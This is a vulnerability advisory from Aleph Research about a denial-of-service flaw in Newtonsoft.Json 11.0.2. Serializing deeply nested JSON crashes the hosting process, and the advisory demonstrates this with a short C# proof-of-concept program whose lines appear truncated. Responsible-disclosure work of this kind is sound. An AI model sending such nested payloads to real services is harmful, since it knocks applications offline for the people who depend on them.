

<-- X

Applications that use Newtonsoft.Json might be exposed to DOS vulnerability

Aleph Research Advisory

Identifier

ALEPH-2018004

Severity

Moderate

Products

[1] Newtonsoft.Json

Vulnerable Version

11.0.2

Technical Details

A defect in Newtonsoft.Json (aka Json.NET) library might expose applications that use it to a DOS vulnerability.

Json.NET is the No.1 community package in terms of downloads (more than 150,000,000) in Nuget (package manager for .NET). It is used by many web applications as well as Desktop applications to handle Json - serialize, deserialize, etc.

When using this library to serialize a highly nested JSON object, a StackOverflow exception is thrown. This exception cannot be caught and it will immediately terminate the entire process (see our [blog post](#)).

This library is not vulnerable by its own, but there might be a lot of scenarios where application that uses it become vulnerable due to this issue.

For example, application that gets JSON as an input and use this library to write it in a pretty format (Indented). In this case, if the input contains a highly nested JSON, the application process will terminate and the application will be unavailable.

Proof Of Concept

Following is a sample program that demonstrate the issue:

```
using System;
using System.IO;
using System.Linq;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;

namespace JsonTests
{
    class Program
    {
        static void Main(string[] args)
        {
            //Create a string representation of an highly nes
            int nRep = 24000;
            string json = string.Concat(Enumerable.Repeat("{a",
                string.Concat(Enumerable.Repeat("}",
                    nRep)));

            //Parse this object (Parsing works well - no exce
            var parsedJson = JObject.Parse(json);

            using (var ms = new MemoryStream())
            using (var sWriter = new StreamWriter(ms))
            using (var jWriter = new JsonTextWriter(sWriter))
            {
                //Trying to serialize the object will result
                parsedJson.WriteTo(jWriter);
            }

            //ToString throws StackOverflowException as well
            //parsedJson.ToString();

            //JsonConvert.SerializeObject throws StackOverflo
            //string a = JsonConvert.SerializeObject(parsedJs

        }
    }
}
```

Timeline

22-Oct-18: Public disclosure.

25-Sep-18: Deadline.

27-Jun-18: Reported (Report directly to Newtonsoft).

29-May-18: Reported (Report to library owner through NuGet).

Posts

It takes only one StackOverflowException to bring down an Application deployed on IIS

By Gil Mirmovitch, *22-Oct 2018*

Credit

[Gil Mirmovitch](#) of Aleph Research, HCL Software